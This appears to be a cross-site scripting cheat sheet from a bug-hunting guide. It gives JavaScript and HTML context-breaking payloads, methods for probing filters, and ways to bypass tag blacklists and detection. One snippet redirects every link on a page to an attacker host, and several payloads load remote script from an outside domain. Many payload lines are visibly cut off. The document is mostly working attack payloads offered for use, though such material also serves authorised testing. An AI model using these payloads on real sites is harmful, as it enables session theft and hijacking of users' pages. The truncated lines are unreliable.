Case: <script> var new something = '$input'; </script>

'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg 

Yep, confirm because alert is too mainstream.

confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});

<svg/>

If nothing of this works, take a look at Awesome Bypassing section

First of all, enter a non-malicious string like d3v and look at the source code to get an idea about number and contexts of reflections.
Now for attribute context, check if double quotes (") are being filtered by entering x"d3v. If it gets altered to x"d3v, chances are that output is getting properly escaped. If this happens, try doing the same for single quotes (') by entering x'd3v, if it gets altered to x', you are doomed. The only thing you can try is encoding.
If the quotes are not being filtered, you can simply try payloads from Awesome Context Breaking section.
For javascript context, check which quotes are being used for example if they are doing

variable = 'value' or variable = "value"

Now lets say single quotes (') are in use, in that case enter x'd3v. If it gets altered to x\'d3v, try escaping the backslash () by adding a backslash to your probe i.e. x\'d3v. If it works use the following payload:

\'-alert()//

But if it gets altered to x\\\'d3v, the only thing you can try is closing the script tag itself by using

</script><svg 

For simple HTML context, the probe is x<d3v. If it gets altered to x>d3v, proper sanitization is in place. If it gets reflected as it as, you can enter a dummy tag to check for potential filters. The dummy tag I like to use is x<xxx>. If it gets stripped or altered in any way, it means the filter is looking for a pair of < and >. It can simply bypassed using

<svg 

or this (it will not work in all cases)

<svg 

If the your dummy tags lands in the source code as it is, go for any of these payloads

<svg 
<embed src=//14.rs>
<details open 

Note: None of these payloads use single (') or double quotes (").

• Without event handlers

<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>

• Without space

<svg/
<iframe/src=javascript:alert(1)>

• Without slash (/)

<svg 
<img src=x 

• Without equal sign (=)

<script>confirm()</script>

• Without closing angular bracket (>)

<svg 

• Without alert, confirm, prompt

<script src=//14.rs></script>
<svg 
<svg 

• Without a Valid HTML tag

<x  here
<x  it

• Bypass tag blacklisting

</ScRipT>
</script
</script/>
</script x>

• http(s):// can be shortened to // or /\\ or \\.
• document.cookie can be shortened to cookie. It applies to other DOM objects as well.
• alert and other pop-up functions don't need a value, so stop doing alert('XSS') and start doing alert()
• You can use // to close a tag instead of >.
• I have found that confirm is the least detected pop-up function so stop using alert.
• Quotes around attribute value aren't necessary as long as it doesn't contain spaces. You can use <script src=//14.rs> instead of <script src="//14.rs">
• The shortest HTML context XSS payload is <script src=//14.rs> (19 chars)

All the payloads are crafted by me unless specified.